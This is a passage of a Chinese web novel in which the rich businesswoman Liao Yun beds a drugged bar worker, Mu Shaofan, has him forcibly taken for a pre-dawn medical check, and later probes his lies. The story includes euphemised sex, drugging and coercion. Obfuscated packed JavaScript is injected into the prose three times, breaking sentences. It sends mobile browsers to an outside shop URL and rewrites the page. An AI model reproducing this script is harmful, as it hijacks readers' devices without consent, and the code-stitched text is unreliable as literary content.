慕邵凡眨了眨眼,确认是在叫他,起身走到床边。 她抬起手,修长的手指张着,是一副“等你牵”的意思。 慕邵凡谨记她教导过的四条规矩,果断伸出自己的手握住她。她直接十指相扣,然后缓缓攥紧,没想到他看起来像个小白脸,手却大大的,手指修长,掌心有薄茧。 “握手不会吗?” 被问到的慕邵凡有样学样,收紧手指。 廖筠又朝他伸出另一条胳膊,这次他愣了一会儿,然后不太确定地弯下腰,俯身将她抱住。 廖筠满意地吩咐:“抱我起来。” 他单臂搂在她的腰后,迎面把她抱了起来,力量很不错,非常稳。就是这脸皮啊,太薄了,动不动就脸红,还是让她有种逼良为娼的感觉。 廖筠勾着腿借力:“坐下。” 他转了半圈,坐在她刚才的位置,一跟她对视就紧张,不好意思地垂下双眸:“……然后呢?” “别急,耳朵这么红,不会坏掉吗?”她笑着摸了摸他的耳尖,“抬起头来让我看看。” 他睫毛颤了颤,抬起头。 廖筠知道,他心里肯定在想什么见不得人的事情。白纸都这样,胆小得很,只有心理活动丰富。 “教你那么多规矩,怎么还穿这么严实。” “只有这一件……” “可是如果你懂事,一定有第二个选择站在我面前。” “第二?……”他茫然地问出口,好像马上又领悟了她的意思,红着脸闭嘴。 血液里残存的药物燃着火星,被她稍加怂恿就又冒出了想要叫嚣的念头,他越攥越紧与她相扣的手,眼神不受控制地反复往她唇上看。 廖筠倒是想故作不懂,再逗他一会儿呢,可是现在的时间已经逼近半夜十二点了。游戏的序章她早就玩够了,接下来该做的读取新章的挑战,尽快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“怎么,”廖筠作恶地掐了他一下,“很高冷,不想理我?” “还、还好……会运动……” “那,喜欢跑步?” “还好。” “就会说‘还好’,真敷衍。” “不。”他很仓促地说完这个字,突然抓住她的手,额头抵在她肩上,再次请求,“不要问了……” “为什么?随便聊聊而已,玩游戏的时候不说话不会很尴尬吗?”她故作无辜,根本没打算要暂停恶作剧的意思。也没法停了,虽然时间才过去没多久,但这一章的挑战进度已然快要逼近尾声。 正是严峻的时刻,他全神贯注沉浸在游戏里,彻底没了动静,只有呼吸声格外刺耳。 “突然不说话,困了?”廖筠在他脸庞亲了一下,没想到这一下直接刺破了他最后的理智,瞬间把进度推到终点。 有什么猝不及防地袭中了她的下巴,连带着脖子,手背,胳膊,到处都受伤了,流着黏稠的血。游戏世界就是这样危险,她习以为常,不过肯这么手把手教,也只是给漂亮白纸独有的偏爱罢了,往常只有别人伺候她的份,谁配让她动手。 低头看了一眼,用他的衣摆擦掉血迹:“第一次玩游戏是不是挺晕的?把你哄吐了,小可怜,你不会怪我吧?” 空气一阵沉默。 “别问了,”慕邵凡一直没抬头,但估计想哭的心都有了,声若蚊蚋,“求你。” 廖筠被他可爱得想再亲他两下:“你这求人的态度很一般呢。” 他虽然不是那种壮汉,但一米八五的骨架也没那么小只,整个脸都努力地埋进她肩窝,只露着害羞的耳朵。又沉默了良久:“我平时,没有这么……” “嗯?”廖筠是真没听清这句。 “没有这么,容易……” “什么?要不你贴我耳朵上说。” 慕邵凡别扭地蹦了一个字:“……吐。” 廖筠愣了一下,差点笑出声。幸好她不是第一次带小白队友,知道随便笑是会打击人家自信心的,万一留下什么心理阴影就造孽了。 于是她满脸真诚地点了点头,温柔地开导:“我明白,自习跟演习有出入很正常,放轻松,其实玩游戏不用太紧张。” 手指收拢,抓紧他的头发:“你喜欢这个游戏吗?” 不等他回答:“下一章要开始了,胆小的话,出去睡走廊。” 4. 04,体检 第二天一早,四五点钟。 熟睡中的慕邵凡突然被捂住嘴,接着被阿杨和几个黑衣人强行带去了一个秘密房间进行体检。 这件事本应该在他实际接触到廖筠之前做,但是昨晚情况特殊,游戏上瘾的廖筠难得有兴致,也试探过他几次,暂且相信他是真的白纸,只使用了物理道具。 事实证明他确实笨拙,操作能力趋近于无。气息混乱又紧张,言行小心又生硬,就算有表演成分,也不可能精湛到骗得过她这种老玩家。所表现的讨好和痴迷更是没有半点刻意加工,让廖筠非常受用,一度贪婪享受,纵容了他屡次三番的任性索求。 可惜廖筠有个毛病,每当天亮时分会莫名醒一次,如果这个时候身边有人,那她就睡不着了,心里会慌慌的,很烦躁。 所以她特意把慕邵凡的体检安排在这种奇怪的时间,既把他的陪丨睡时长利用到了最大化,又不影响自己的睡眠质量,一举两得。 等她自然醒过来,时间显示六点半。 迷迷糊糊喊了一声,女保镖莫寻端着一杯温水从客厅走了进来,先将水交给她,再把窗帘打开,落地窗上铺满了云州的朦胧雾色,这种美丽的风景会让廖筠心情变好。 廖筠倚坐在窗边的沙发上,食指按了按太阳穴:“情况怎么样了?别把人吓着。” 莫寻回答:“一切顺利,慕先生很配合,就是……” “嗯?” “就是他问,您是不是经常带人过来体检。” “……你们怎么说?” “阿杨说您带到这的,加上他总共也没几个。” “嗯。” “不过您带到其他地方的就数不过来了。” 廖筠嘴角一抽:“你等会儿让阿杨过来一下,我要跟他单独聊聊。” “好嘞。” “身份呢,查过了吗?” “查过了。慕先生的父母早年离异,分别移民国外,几乎没留下什么资料,包括他们的姓名和移民国,都没有消息。慕先生从小和妹妹一起跟着外公外婆长大,家境还可以,直到二老相继去世,妹妹被接走,他开始独居,过得就比较清苦了。五天前他来到WRing打工,一直被骆经理带头为难,昨晚情况已证实是骆经理做局,在酒里也检测到了特殊药物成分。” “这些听起来好像没什么意思。” “有一件有趣的事,他跟您同岁,生日是1995年11月7日,只比您大一天。小学和初中分别和您在一个学校呆过,是他云州美院的同学说的。” “是么。”廖筠依然不感兴趣,垂着眸子抠指甲。 “还有一件奇怪的事,他大学并不住校,经常请假外出,几乎不上课,考试也不怎么参加。同学们对这种情况习以为常,但都不知道原因。” 昨天酒保还说他毕业之后没处去,租房太贵所以才出来打工,那他毕业之前不住校,能住哪呢?回过神来,廖筠随意道:“随便他吧,可能在外面接什么私活。还查到什么?” “查到骆经理使用的那种药,很特别,本身没有特殊作用,喝酒之后才会起效,喝得越多药效越强,估计用了有一段时间了。这件事小张总应该还不知情。” “姓骆的那种人,干出什么勾当也不意外,有机会我一定要找小张总好好说。”放下水杯,廖筠话锋一转,“FROLA呢,那副眼镜有什么消息?” “呃,暂时还没有。” “一点也没有?从他在WRing接触过哪些人着手,查不到?” “WRing的临时工上一休一,但慕先生每天都来。虽然有时被人议论,但他本人很老实,不曾与人主动起过冲突。酒保阿哲所提到的梁姐,金主,都不存在,除了您……他似乎没再接触过别人。FROLA可能是他来之前就有的。” 廖筠从鼻腔叹了口气,比起慕邵凡没用的身份,她最关心的就是FROLA的来历,没想到一无所获。摆摆手:“去看看检查进度,我要尽快见他。对了,把我的备用手机拿来。” 半小时过后。 慕邵凡头发顺毛耷拉着,无精打采地回到了廖筠的房间。 屋里播放着轻音乐,廖筠身上穿着休闲风的衬衫套装,头发温柔地挽在脑后,正在对着镜子佩戴珍珠耳环,脖子上有一条细银项链,随着她的动作被反射的波光粼粼,让她整个人都散发着一种如玉般精致的剔透感。 戴好耳环,她转头发现慕邵凡站在门口,眼睛一亮,已经扬起了明媚的笑容:“你回来啦。” 慕邵凡愣住,下意识往后退了半步,都快贴到门板上了。 廖筠笑意一僵,不过还是维持着嘴角的弧度朝他走去:“饿了吧,我等你吃饭呢,快来。” 慕邵凡抿唇不语。 他不习惯她如此热情的迎接,脸上也摆不出太多适宜的表情,尤其是想到刚才发生的一切,更是让他们昨晚骤然升温的关系变得尴尬。偏了偏头,颇为抗拒地控诉:“吃饭这件事对你来说更重要吗?你刚把我关了两个多小时……” 廖筠无辜:“怎么啦,这么大脾气,是不是他们给你体检的时候太粗鲁了?” 慕邵凡对她平静不以为意的语气很不理解。 这压根不是粗鲁不粗鲁的事,从还没睡醒,到被强制带走,再到全身体检,关起来的两个多小时给了他莫大的冲击,全都是不被当成人来对待的屈辱感,让他一时半会无从消化。 廖筠见他这种态度,彻底没了笑脸。 环抱起胳膊,声音透着一股寒意:“我都跟阿杨说了,不要吓着你,对你温柔点,他不敢不听我的,那就只能是你接受能力太差了。你只是个酒吧的临时工,又没有健康证,有我也不放心。体检相当于对你的话进行了一次精密的测谎,只要你诚实,就没什么损失,难道不好吗?你在闹什么别扭。” 慕邵凡皱眉:“我没有闹别扭,只是觉得不用这样。” “不用这样,那要哪样?你以为街上随便捡来一个货色,都配爬到我的床上?不管他说了什么,我都无脑相信?” “也不是……” “搞搞清楚,慕邵凡,”她眉头皱得比他还紧,“我完全可以先给你体检,而不是冒着风险解决你的麻烦,事后也没把你扔出去吧,还让你好好睡了一觉。记得你说今天要上课,怕耽误你时间才特意让他们早点安排。你只在意你被关了那一会儿,我可是忙着在给你准备早饭呢,你只顾着自己的感受,怎么就不能理解一下别人?” 慕邵凡直接被她给说懵了。 先是难以置信,接着一琢磨,又觉得有点对,还没来得及细想,光听她理直气壮的质问,气势就已经先弱了下来。 廖筠眼底闪过一丝狡黠,放下胳膊等了一会儿,转身要走的时候果然被他拉住了手指。 “我……”他低着头,犹犹豫豫的样子好像很矛盾,“我不是想怪你,我的意思是,你可以先跟我打声招呼的……今天早上的一切发生得太突然,我有点懵了,对不起,误会你的好意,我不知道你做了这么多。” “只是今天早上?昨天晚上的一切就不突然么?我好心把你救回来,结果你拿我当解药,还不识好人心。早知道我不多管闲事,也就不用被你误会了。” 慕邵凡耳根的绯红瞬间蔓延至脸颊,憋了半天,又说了一遍:“对不起。” 廖筠叹了口气,故意摆出一副体贴的样子:“敏敏,你是不是忘了昨晚叫我主人,还求我养你的时候了?其实你想对主人撒娇和发脾气都是允许的,但是你不能这么误会我,我会伤心的,知道吗?” 说完扭头就走,留下他一个人错愕在原地,满脑子都是‘敏敏’和“主人”。 其实夜色缱绻时,他就问过她,是不是也会这样带别的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283487|151953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人过来。她的回答跟阿杨的第一句话差不多,绕了个圈子,说:“带到这里的一共没几个。” 彼时慕邵凡仰躺在那,满头是汗,被她亲得晕晕乎乎还要固执地追问:“几个是多少?很多还是很少?” 廖筠答:“能让我好心管教的就你一个,满意了?” 然后他就信了这模棱两可又满是套路的回答,迷离恍惚间,还反被她套走了不少话,包括自己的小名。 早饭很丰盛,是廖筠特意准备的,不过事实没有说得那么好听,只是吩咐保镖把附近所有的早餐都买一份回来罢了,根本没浪费她自己的精力 慢吞吞吃完半根油条,脸红的小狗终于露面,磨磨蹭蹭地走到饭桌旁。 她开口就逗人家:“敏敏,还在生气吗?怎么不坐我旁边?” 拉开对面椅子的慕邵凡整个人僵在那,乖乖地把椅子推回去,改为坐在她旁边。挺直的脊背暴露着心里的紧张,先端起杯子喝了口水。 廖筠:“那是我的杯子。” 慕邵凡:“……” 廖筠很大方:“没关系,你喝吧,这还有一杯。”说完从他面前伸长胳膊,拿来原本给他准备的水,轻抿一口,若有所思地说,“原来敏敏是左撇子,昨晚右手也很灵活,完全没注意到呢。下次给敏敏准备餐具的时候,我会记得的。” 慕邵凡差点没把自己呛着,清了清嗓子,小声要求:“能不能不要叫小名……” “为什么?” “我不太习惯。” 廖筠故意听岔他的发音:“你不太喜欢?可是为了得到这个答案,我昨晚很努力地在你左边锁骨种了两颗小草莓,你当时明明是喜欢的。”说完,眼神还等没溜到他的锁骨处确认,慕邵凡已经慌张地用手捂住了,脸色爆红。 廖筠到底是忍不住笑了出来:“好啦,快吃吧,我不逗你了,你说要八点半之前去明川路上课的,路程那么远,待会儿开车送你。” 慕邵凡很懊恼:“我怎么什么都跟你说了,连去哪儿上课也说了?还说了什么?” “没什么啊,就是一些很普通的,”廖筠没再跟他继续聊,“我去找阿杨有点事,给你准备了要穿的衣服在卧室,记得去换,乖。” 又过了半小时。 廖筠提前从莫寻那拿了车钥匙,站在门口等人。能让廖筠这种傲慢的大忙人主动等着,还亲自开车送去上学,这确实是其他男人得不到的待遇。 慕邵凡匆匆忙忙出来,穿着一件米白色衬衫款的V领上衣,简约的款式,精致的剪裁,既青春,又清纯,是廖筠特意给他挑的。 廖筠就喜欢给自己的宠物打扮得漂漂亮亮,然后再带出去招摇过市。把女士包包挂在他肩上,她抬了抬胳膊。慕邵凡很有眼力见,主动挽上了她,只不过找不准力道,一直虚挽着,走了一路都很别扭。 去上课的路上,廖筠驾驶着RS7,开得很稳,抽空接了通工作电话,似乎很忙。 慕邵凡识趣地没有出声,只在最后快到达目的地的时候,根据导航的指示提醒她拐弯的时机。 这边容易堵,她临时靠在路边让他自己下车,笑着挥了挥手,然后油门一踩马上就走了,转眼就开出了下一个路口。 在这一刻,慕邵凡回味着只能停留在嘴边的“再见”,忽然后知后觉地发现,他们没有留下彼此的手机号,微信之类的联系方式也没加,而她不仅没问过他什么时候下课,更没有说过他们一定会“再见”…… 意识到自己可能被用完就丢事实,他终于从刚才迷雾般温馨的美梦中醒了过来。一向淡然若之的性子少见几分慌张,连手机来电都滑动了三下才接到。 “喂。” “哎?大少爷,”手机里的声音恰好在身后响起,一个手拿鸡蛋灌饼的男生朝他走来,“怎么在这儿啊,我刚想问你昨晚上哪儿去了,也不回消息。” 5. 05,调情 慕邵凡回过头来,脸色微愠:“你乱喊什么?” 对方后知后觉说错话,嘴磕绊着解释:“你,你昨晚让我去跟着那个姓骆的,我跟了,给你发暗号你没回……我这不是着急么……”说完啃了一小口鸡蛋灌饼,满脸都写着“我很老实”。 这个不靠谱的货名叫唐秋,锦城人,正在旁边这所大楼上的某不靠谱机构上课,准备考研。因为欠了慕邵凡太多钱,没办法只能卖丨身当小弟。 慕邵凡沉声:“出了点事,我得跟你一起上课,先去帮我报名。” “啊?你不是保研锦大了吗?还上什么课,你上次还说这儿不正规呢。” “不想干我找别人,你回锦城吧,记得还我钱。”慕邵凡懒得废话,说完就走。 “哎呀别!”唐秋赶紧拽住他的袖子,“别人办事儿哪有我靠谱,我去还不行么。” 慕邵凡淡淡地拂开他的手:“打点一下机构的老师,如果有人问起我,就说我不常来,不清楚。” “哦哦,明白,那打点的费用?……” “你先垫上。” 刚要抬腿的唐秋又退回来:“大少爷,这就是你不对了,你明知道我穷……”话没说完,慕邵凡一道眼神瞥过来,把他要说的废话生生逼回了嗓子里。他往自己嘴上拍了一巴掌,认错道,“……我错了哥,叫习惯了,已经在改了。” 慕邵凡皱眉。本来就因为自己意识不清的时候在床上乱说话而后怕,再看见唐秋这么拖后腿,心里不禁犯愁。 “我现在不是什么大少爷,你再乱喊一次,你在澳门挥霍的账单就会立刻寄到你爸手里。” 唐秋苦笑:“呵呵,说这个太见外了。费用我垫!” “姓骆的什么情况?” “哦,昨晚我跟着他去了一个信息城的门头店,看他好像是要修表。那个店平平无奇,但是老板不简单,据说能鉴宝。” “听到他们对话了吗?” “没听着,姓骆的刚把手表放下就走了,俩人一共没聊两句。我为了坚持到店打烊,还在那条街上吃了两碗面,味道特鲜!面馆的大姐说那汤是用香菇、白玉菇、海鲜菇、冬笋……” “行了。”慕邵凡真的有点烦他,“先去报名。” 唐秋叼着鸡蛋灌饼火速跑路。 上课的那间教室挤了能有六七十号人,慕邵凡第一次露面,低着头不想引人注目。身后有个女生好像也刚报完名,一直跟着他们,等他们坐下马上过来搭讪,问他们是不是新来的。 慕邵凡态度冷淡,回了句“不是”,然后就开始低头翻书。 女生热情不减,主动打开微信:“交个朋友呗,以后我们可就是同学了,我叫庆衾,你呢?” 慕邵凡奇怪地皱了皱眉,头也不抬地拒绝道:“学习吧。” 唐秋嫌他冷漠,直接展示自己的二维码:“来!你扫我!咱俩交个朋友。他跟谁都不爱说话,你甭理他。” 庆衾笑容一僵,难以推辞地加了好友,结果被唐秋缠着聊了半天,跟慕邵凡半句多余的话都没搭上。最后估计是忍无可忍了,抱起书包随便换了个位置。 好不容易熬过一天没用的课,慕邵凡一直在想廖筠。 唐秋收拾好东西,叫了他几遍没反应,看他一直在草稿纸上写字,凑过来一瞧,扭头却发现了新大陆,指着他脖子说:“诶?你让蚊子咬了?” 慕邵凡眸色微变,把衣领拉紧了些:“你没事能不能少说话。” “这不是下课了么,人都走了,我还想约庆衾吃个饭呢,她跑得真快,”唐秋突然反应过来,“哥……你昨晚让我去跟着那个丑货,你自己不会去约丨炮了吧?” 慕邵凡手一抖,一把抓皱了草稿纸胡乱团在手心,面无表情地站起来离开,压根不想跟他多费口舌。 现在才下午四点多,太阳正好,但有些刺眼。 廖筠的RS7暂停在大楼门前的广场上,黑色如浓墨般大气的车身格外吸睛,一会儿的功夫就有好几个偷拍的屌丝不小心从周围路过了。 她倚在旁边打电话,头绳丢了,头发散着躁得慌,时不时地用手撩起来,又累得放下,过了几个来回,终于看到自己的宠物从楼里出来。 大大方方地朝慕邵凡招招手,她有意忽略掉对方眼里一闪而过的惊喜,掏出钥匙扔过去:“你开车。” 慕邵凡双手接住,还有点懵:“……好。” 廖筠转身钻进副驾驶,边打电话边问刚坐进来的人:“有驾照吧?” 慕邵凡点头:“有。要去哪儿?” 廖筠抬手打断他,往前抬了抬下巴,意思是现在在忙,先从广场出去。 大开的车窗涌入一丝丝凉风,廖筠利落地用单手系上安全带,好听的声音此刻的语气却不太妙,有时听电话那边汇报半天,她只是回一个“嗯”,或者“继续”,难得字数多一点,又好像是在骂人。 她骂人不直接用脏字,有点拐弯抹角,慕邵凡越听越觉得她的咬字发音很舒服,语速不疾不徐,在安静的空间里听着简直是种享受,甚至就算听懂了她在骂人也不觉得低级,反而有种被她骂爽了的感觉。 车行过明川路和桂阳路交叉的十字路口时,廖筠突然指挥他:“左拐,去云州理工大。认路吗?” 慕邵凡点头:“大概认得。” “我不想听‘大概’,”廖筠冷硬的语气像在命令下属,“认路就走对,不认路就开导航,别耽误时间。” “好。” 慕邵凡打开导航,距离目的地不到三公里。 这么近。 他不认路岂不是暴露自己对这附近不熟。趁着等红绿灯,小心看了她一眼,但她一直看着窗外,注意力似乎不在他这。 “先这样吧,永恩的负责人今晚到,你记得去接,如果这个单子喂到你嘴里都签不下,不要让我在公司再看到你……是,你妈永远是我大姨,这没错,但你以后是不是我表姐,不一定。任拂晓,你不能总让人失望吧。” 通话戛然而止,廖筠倚着靠背,不知道在给谁发消息,然后关掉了屏幕。 缓了没几秒,她不放心,又拨了通电话:“小张,今晚任经理接待客户,你跟着去,别让她喝太多酒。我已经让莫寻过去了,但是她不懂应酬,你机灵点……嗯,任经理手里有人,资料我审过了……好,嗯,拜拜。” 把单子喂到嘴里,亲自帮审资料,让贴身保镖跟着,还让懂应酬的员工帮衬。看来这表姐是个关系户。 慕邵凡觉得,廖筠是嘴硬心软的类型,如果跟她多接触一阵,应该会好相处。 六月的云州气候很好,吹着风尤为舒爽。 静下心来的廖筠休息了一会儿,忽然想到什么,从座位后面拿来一个包装精美的袋子:“我下午去逛街,看到这件衣服好像会适合你,待会儿记得拿上。今天有点累,怕忘了。” 慕邵凡受宠若惊:“谢谢,不用给我买……” “我没有在问你的意见,”廖筠打断他,把袋子暂放腿边,态度还是很冷,“我穿什么是因为我高兴,你穿什么也是为了我高兴。送你就拿着,本来也是顺便买的。” 慕邵凡只能答应,然后车里便再次陷入了沉默。 他并不是会主动聊天的性格,面对廖筠的时候已经算是很积极了,尴尬地想了半天,好歹起了个话题:“我们去理工大做什么?” 廖筠淡淡地望着窗外:“去看看我的宝贝妹妹,跟她哥吵架玩失联,我确认一下她的安全。” “也是表妹吗?我的意思是,你对亲戚们真好。” 廖筠失笑:“怎么这么说,刚才打电话把你吓着了?我不知道你几点下课,所以在那儿等了一会儿,还以为打完你才会出来。” “没有,是真的觉得你对她们很好。事业,生活,都很照顾。” 廖筠无所谓道:“操心的命不就这样么,别人不懂事,我总不能跟着一起幼稚。”说完看了他一眼,决定搭理一下这只被她忽视了一路的小狗,“敏敏,主人来接你放学不高兴吗?” 突然被调戏的慕邵凡心跳一乱:“……高兴。” “老实说,你是不是没想到我会来?” “嗯,有点意外。” 廖筠笑道:“如果我没来,你怎么办呀,去WRing找我?” 一下子被猜中心思,慕邵凡闷声点头:“我会的。” “WRing我其实不常去。”这是假话,她其实没少去。 慕邵凡顺势问:“那你平时喜欢去哪里?” “不一定,哪里好玩去哪里,前几天赌城EDC,我正好在芳州谈客户,错过了,还挺想出去玩玩,要不要带你一起?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283488|151953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 慕邵凡几乎秒回:“好。” “好什么好,”廖筠笑着捏了一下他的耳朵,“敏敏这么好骗,是会被抓去卖掉的。” 温热的指丨腹瞬间烫红了他的耳根,廖筠这种老玩家显然比他更懂得怎么调情,几句话就能把他逗得像狗一样没出息。 到达云州理工大,这里也是廖筠刚毕业的地方。 她不想太招摇,让慕邵凡在外面帮忙看车,哄着他说:“乖乖等着,我很快出来,待会儿请你吃饭。”然后就从后座拿着买给妹妹的一堆礼物,自己步行进去了。 这个妹妹跟她没有血缘关系,一直借住在她发小贺召家里,比她小两岁,名叫甜喜。 虽然看着可爱,但是性格敏感,什么委屈都爱往心里藏。贺召又是个男人,有些事情男女有别,不方便管,大多就由她来代劳。 因为父母那一辈的交情,跟她一起长大的四个发小全是男孩,其中一个还是她的双胞胎弟弟廖然,她从小当大姐头,是圈子里的领导者,爱操心的命不是说说而已。 管着这几个作天作地的发小,再管着自己那不省心的表姐,年纪轻轻还要白手起家创业赚钱,仅凭几年时间混到如今的地位,不厉害一点哪撑得住。反倒是甜喜这个妹妹贴心又省心,也最让她喜欢,整天宠着跟小心肝似的。 突袭女生宿舍,甜喜果然乖乖在那看书,其他室友都不在。 廖筠把买来的东西放下,抱着妹妹先哄了一会儿,姐妹俩腻腻歪歪地躺在单人床上聊天,转眼过去了一个多小时。 前几天他们聚餐吃饭,甜喜没打招呼就领了个男朋友回来官宣,把贺召给气得不行。这次来,廖筠三句不离感情问题,总是打听那个男朋友的情况,生怕妹妹被狗男人的花言巧语骗到。 不过妹妹对那个男人好像没什么感情,提起来也总是兴致缺缺,话锋一转,还反过来八卦她:“盈盈姐,你说,温神哥哥是不是喜欢你啊?” 突然被问到的廖筠像被点炸了似的,一个鲤鱼打挺从床上坐起来:“怎么可能!我们俩不打起来就不错了。你从哪儿听说的?” “没有听说,是我猜的。上次吃饭的时候他一直在看你……” 廖筠暗自松了口气,还以为祸害发小的事已经被他们知道了:“你个小丫头,别成天瞎想,你知道什么是喜欢吗?” 甜喜摇头:“我不知道。盈盈姐你谈过那么多男朋友,你觉得你最喜欢哪一个?” 廖筠脱口而出:“我当然是谁也不喜欢,不然就不会把他们变成前任了。” “也是,”甜喜跟着坐起来,有点茫然地看着她,“那你以后会喜欢什么样的人呢?会有目标吗?” “这种事哪有什么目标,”廖筠笑着摸她脑袋,“喜欢通常只是某一刻的生理冲动,感觉来了,自然就喜欢了。” 甜喜晃了晃脑袋:“算了,听不懂,我们去食堂吃饭吧,好饿。” 廖筠刚想答应,忽然想起自己还有条狗栓在校门口。今天是她和慕邵凡第一次共进晚餐,她可是很有仪式感的,餐厅都订好了,耽误这么久也不知道小狗等急了没。 “今天不行,我约了别人,改天吧,我请你出去吃好吃的,就咱们俩,好吗?” 甜喜当然不会拒绝,两人又聊了一会儿,廖筠便走了。 此时正值傍晚,天色一片昏暗。 廖筠放在校门外的车和狗仍保持着她离开时的样子,一点没动。 她正盘算着怎么奖励一下听话的小狗,结果手机上收到了一条消息,让她骤然放慢脚步。 实习助理:廖总,慕先生好像在对您撒谎,他有一个叫唐秋的朋友说,今天是他第一次去上课,以前也并没有在准备考研。唐秋自称刚认识慕先生,还不太熟,不过我听他说话,对慕先生很维护,俩人肯定是熟人。 廖家收租的:还有呢? 实习助理:没了。 廖家收租的:庆衾啊,就这点消息查了一天? 实习助理:唐秋脑子不好,但是嘴很严,这点消息还是我跟他看了场电影才套出来的。这绝对是工伤,廖总!你一定得给我转正! “你终于回来了。” 还没来得及给出回复,廖筠下意识关掉手机屏,抬起头,慕邵凡不知何时走到了她面前。 “我有乖乖在等你。” 6. 06,试探 昏暗且浓重的光线有种异样的柔和感。慕邵凡就站在这样的柔和感中,浑身散发着无害的温良。 如果是一分钟前,廖筠还不知道他在撒谎,肯定会摸摸他的头,马上带他去吃饭。 可现在却不一样了。 她只是想让庆衾了解一下他身边的朋友好判断FROLA的来历,没想到会意外发现他的谎言。 难怪当时随口问他上课的位置,他支支吾吾那么别扭,最后说了个含糊的地址,马上就往里顶,合着是在转移注意力……漏洞百出的家伙,挺能装,亏她还以为他单纯。 “你晚上原本有什么安排吗?” “没安排,”慕邵凡想了想说,“可能回家学习一会儿。” 廖筠轻笑:“你一个混酒吧的小鸭子,还回家学习?” 慕邵凡一愣:“去酒吧是为了打工,我只是临时服务员。而且,你不是说不让我再去了……” 廖筠点了点头,笑容里好似有一抹一晃而过的讥讽:“是啊,你听话最好了。”边往前边说,“可我要是想让你今晚陪着我呢?学习应该不重要吧,反正你考研希望也不大。” 慕邵凡不知道她哪来的脾气,倒也没对她如此明显的轻视做出太多反应。 廖筠换了双平底鞋开车,随机播放音乐,前奏刚响就被来电打断,屏幕上显示陌生号码归属地——芳州。她眉头一皱,这备用手机是新号,什么时候被温跃给知道了。 甜喜不可能告密,八成是廖然那个死小子卖了她。 立即点了挂断,很快对方又打了过来。再挂,再打,就这么来回了三次。 慕邵凡体贴地问:“如果不方便,要不我帮你接?” 廖筠没回答,面不改色地望着前方,专心开车,直到第四次的电话铃将要唱到底的前一秒,她突然命令:“接。” 慕邵凡伸出手。 电话接通,对面一时没反应过来:“……喂?” 慕邵凡满脸正直:“你好,请问有什么事吗?” “……打错了。” 对面直接没礼貌地挂断。 慕邵凡问:“他挂了,要打回去吗?” 廖筠语气不明:“如果我告诉你,打电话的人是‘上一个你’,找我是为了让我回心转意,你还要打回去么?” 慕邵凡好像听不懂她话里有话,认真作答:“不喜欢的话,就不打了吧。” “我跟他之间和‘喜欢’这个词不沾边。” “那……拉黑?” 廖筠蹙眉,不说话了。 她桃花运旺盛,玩过的优质男没有三千也有上百,多到数不过来,再次的也得是颜值清秀身材好,更别说她还好爱给人体检,小的,脏的,秒的,全都入不了她眼。 这种渣女行为惹来过一些不满的声音,但她不在乎。当拥有物质不再能轻易带来快丨感,有钱人总得找点别的乐子吧。 不过即便如此,她也从来没想过要祸害发小。温跃和她认识了二十二年,在她眼里就像她弟廖然一样,两家的长辈低头不见抬头见,俩人小时候喝奶还用过一个瓶呢。 拉黑没用,温跃想找她太容易了,强行躲避的结果大不了就是闹僵,朋友们也会因为担心他们而尴尬吧…… 她这辈子高傲惯了,什么都独立,就不喜欢让别人为她操心。 车突然停在路边,总共开出来没多远,旁边是云州理工大的步行街。 廖筠觉得扫兴,没了约会的兴致,解开安全带,换回高跟鞋,态度冷淡:“拿上那个袋子,吃完饭你直接走吧。”把钥匙随手扔给慕邵凡,“砰”地关上车门。 步行街上都是重复的网红小吃,廖筠不停地往前走,压根不管身后人有没有跟上。 周围行人太多,热闹的摊子前甚至堵着动不了。好不容易看到一家熟悉的韩餐厅,想起刚上大学的时候来吃过几次,味道还不错,于是在这家店门口站定。 往来时的方向瞥去,慕邵凡正从人群中挤过来,有点着急的样子,还有点欲言又止。 “怎么这个表情?” “没什么,”慕邵凡摇摇头,先把车钥匙还给她,“人太多了,我怕跟你走散,想叫你……不知道该怎么称呼。” 廖筠心里冷哼。 撒谎成性,连自己说过的话都忘了:“你不是听阿哲提过我?” 慕邵凡眉宇间有几分委屈:“……他只说你叫‘廖总’。” “是啊,一般认识我的外人都叫我廖总,你也可以这么叫。” 廖筠转身要走,慕邵凡不知道哪来的勇气,突然拉住了她挎包的背带,试探着说:“今晚,我来请客吧。”指了指旁边的韩餐店,“就在这里可以吗?” 廖筠觉得他莫名其妙:“你哪来钱请客?” “说来话长,其实我今天是第一次去报课,朋友转介绍,返给我六百块,还没舍得花。之前去看过几次,但就像你说的,考研希望也不大,我又要打工,又是跨专业……也没什么信心。” 廖筠微微眯起眼睛。 没想到他竟然自己把这事儿主动招了。 谎言本身的影响可大可小,问题在于他是无意还是成心。无意可以原谅,成心……图什么呢。 垂下眸子,廖筠捏着手里的钥匙,朝他伸出手。 他没理解她的意图,但还是乖乖张开手心向上等着。 车钥匙再次回到了他手里,他下意识收起五指,廖筠却没有就此抽手离去,而是和车钥匙一起被他给握住了。纤细修长的手指蜷在他掌中,没有半点乖顺依附的娇弱,更像是女王高傲的施舍,恩准他如此逾矩的触碰。 慕邵凡心里慌张,想要松开,廖筠说:“牵一会儿,饿得有点晕了。你请客。” 